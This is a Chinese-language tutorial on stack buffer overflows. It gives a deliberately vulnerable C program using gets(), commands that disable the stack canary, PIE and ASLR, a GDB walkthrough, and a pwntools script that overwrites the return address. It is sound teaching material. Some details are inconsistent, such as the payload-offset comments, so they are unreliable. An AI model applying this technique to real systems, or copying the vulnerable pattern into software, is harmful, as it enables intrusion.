从栈溢出原理到实例利用(一)
字数 1223 2025-08-29 08:30:36

栈溢出原理与实例利用教学文档

1. 栈溢出基础概念

栈溢出是指程序向栈中的某个变量写入超过其分配内存空间的数据,导致数据覆盖了相邻的内存区域。这种漏洞可以被利用来修改返回地址、控制程序执行流程。

2. 环境准备

2.1 示例程序

#include <stdio.h>
#include <string.h>

void success() {
    puts("You Hava already controlled it.");
}

void vulnerable() {
    char s[12];
    gets(s);
    puts(s);
    return;
}

int main(int argc, char **argv) {
    vulnerable();
    return 0;
}

2.2 编译选项

gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
  • -m32: 生成32位程序
  • -fno-stack-protector: 关闭堆栈溢出保护(不生成canary)
  • -no-pie: 关闭位置无关可执行文件(PIE),避免加载基址随机化

2.3 关闭ASLR

sudo echo 0 > /proc/sys/kernel/randomize_va_space

ASLR级别说明:

  • 0: 关闭ASLR,没有随机化
  • 1: 普通ASLR,栈基地址、mmap基地址、.so加载基地址随机化
  • 2: 增强ASLR,在1的基础上增加堆基地址随机化

3. 栈帧结构与调用约定

3.1 关键指令

  • CALL指令相当于:

    • PUSH下一条指令地址(返回地址)
    • JMP到目标函数
  • RET指令相当于:

    • POP EIP (ESP+4)
  • LEAVE指令(32位)相当于:

    • MOV ESP,EBP
    • POP EBP (ESP+4)

3.2 函数调用栈帧变化

  1. 调用者保存返回地址
  2. 被调用函数保存调用者的EBP
  3. 分配局部变量空间
  4. 函数执行
  5. 恢复栈帧(LEAVE)
  6. 返回(RET)

4. GDB调试分析

4.1 基本调试命令

gdb stack_example
b main      # 主函数下断点
r           # 运行程序

4.2 反汇编查看

disassemble /m          # 带源码查看
disassemble /r 0x08048496,0x0804849e  # 查看指定范围并显示机器码

4.3 栈帧变化分析

vulnerable()函数为例:

  1. push ebp - 保存调用者的EBP
  2. mov ebp,esp - 设置新的栈帧基址
  3. sub esp,0x18 - 分配局部变量空间
  4. lea eax,[ebp-0x14] - 获取局部变量s的地址
  5. push eax - 准备gets()参数
  6. call gets@plt - 调用gets()
  7. 栈恢复过程:
    • add esp,0x10 - 清理参数
    • leave - 恢复栈帧
    • ret - 返回调用者

5. 漏洞利用原理

gets()函数不检查输入长度,可以覆盖:

  1. 相邻局部变量
  2. 保存的EBP
  3. 返回地址

通过精心构造输入数据,覆盖返回地址为success()函数地址(0x0804843b),即可控制程序流程。

6. 利用脚本编写

使用pwntools编写利用脚本:

from pwn import *

# 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b

# 构造payload
# 'a'*0x14 覆盖缓冲区(12)和EBP(4)
# 'bbbb' 覆盖保存的EBP
# p32(success_addr) 覆盖返回地址
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)

# 发送payload
sh.sendline(payload)

# 交互模式
sh.interactive()

7. 关键点总结

  1. 必须关闭栈保护(-fno-stack-protector)
  2. 关闭PIE(-no-pie)使函数地址固定
  3. 关闭ASLR使栈地址可预测
  4. 准确计算偏移量(缓冲区大小+EBP大小)
  5. 小端序存储地址数据
  6. gets()等危险函数是常见漏洞点

8. 扩展学习

  1. 不同保护机制下的绕过方法
  2. ROP(Return-Oriented Programming)技术
  3. 现代漏洞缓解技术(ASLR, DEP, CFG等)
  4. 其他危险函数(strcpy, sprintf等)的利用

通过本教程,您应该掌握了基本的栈溢出原理、调试方法和利用技术。下一步可以尝试更复杂的漏洞利用场景。

栈溢出原理与实例利用教学文档 1. 栈溢出基础概念 栈溢出是指程序向栈中的某个变量写入超过其分配内存空间的数据,导致数据覆盖了相邻的内存区域。这种漏洞可以被利用来修改返回地址、控制程序执行流程。 2. 环境准备 2.1 示例程序 2.2 编译选项 -m32 : 生成32位程序 -fno-stack-protector : 关闭堆栈溢出保护(不生成canary) -no-pie : 关闭位置无关可执行文件(PIE),避免加载基址随机化 2.3 关闭ASLR ASLR级别说明: 0: 关闭ASLR,没有随机化 1: 普通ASLR,栈基地址、mmap基地址、.so加载基地址随机化 2: 增强ASLR,在1的基础上增加堆基地址随机化 3. 栈帧结构与调用约定 3.1 关键指令 CALL 指令相当于: PUSH 下一条指令地址(返回地址) JMP 到目标函数 RET 指令相当于: POP EIP (ESP+4) LEAVE 指令(32位)相当于: MOV ESP,EBP POP EBP (ESP+4) 3.2 函数调用栈帧变化 调用者保存返回地址 被调用函数保存调用者的EBP 分配局部变量空间 函数执行 恢复栈帧(LEAVE) 返回(RET) 4. GDB调试分析 4.1 基本调试命令 4.2 反汇编查看 4.3 栈帧变化分析 以 vulnerable() 函数为例: push ebp - 保存调用者的EBP mov ebp,esp - 设置新的栈帧基址 sub esp,0x18 - 分配局部变量空间 lea eax,[ebp-0x14] - 获取局部变量s的地址 push eax - 准备gets()参数 call gets@plt - 调用gets() 栈恢复过程: add esp,0x10 - 清理参数 leave - 恢复栈帧 ret - 返回调用者 5. 漏洞利用原理 gets() 函数不检查输入长度,可以覆盖: 相邻局部变量 保存的EBP 返回地址 通过精心构造输入数据,覆盖返回地址为 success() 函数地址(0x0804843b),即可控制程序流程。 6. 利用脚本编写 使用pwntools编写利用脚本: 7. 关键点总结 必须关闭栈保护( -fno-stack-protector ) 关闭PIE( -no-pie )使函数地址固定 关闭ASLR使栈地址可预测 准确计算偏移量(缓冲区大小+EBP大小) 小端序存储地址数据 gets()等危险函数是常见漏洞点 8. 扩展学习 不同保护机制下的绕过方法 ROP(Return-Oriented Programming)技术 现代漏洞缓解技术(ASLR, DEP, CFG等) 其他危险函数(strcpy, sprintf等)的利用 通过本教程,您应该掌握了基本的栈溢出原理、调试方法和利用技术。下一步可以尝试更复杂的漏洞利用场景。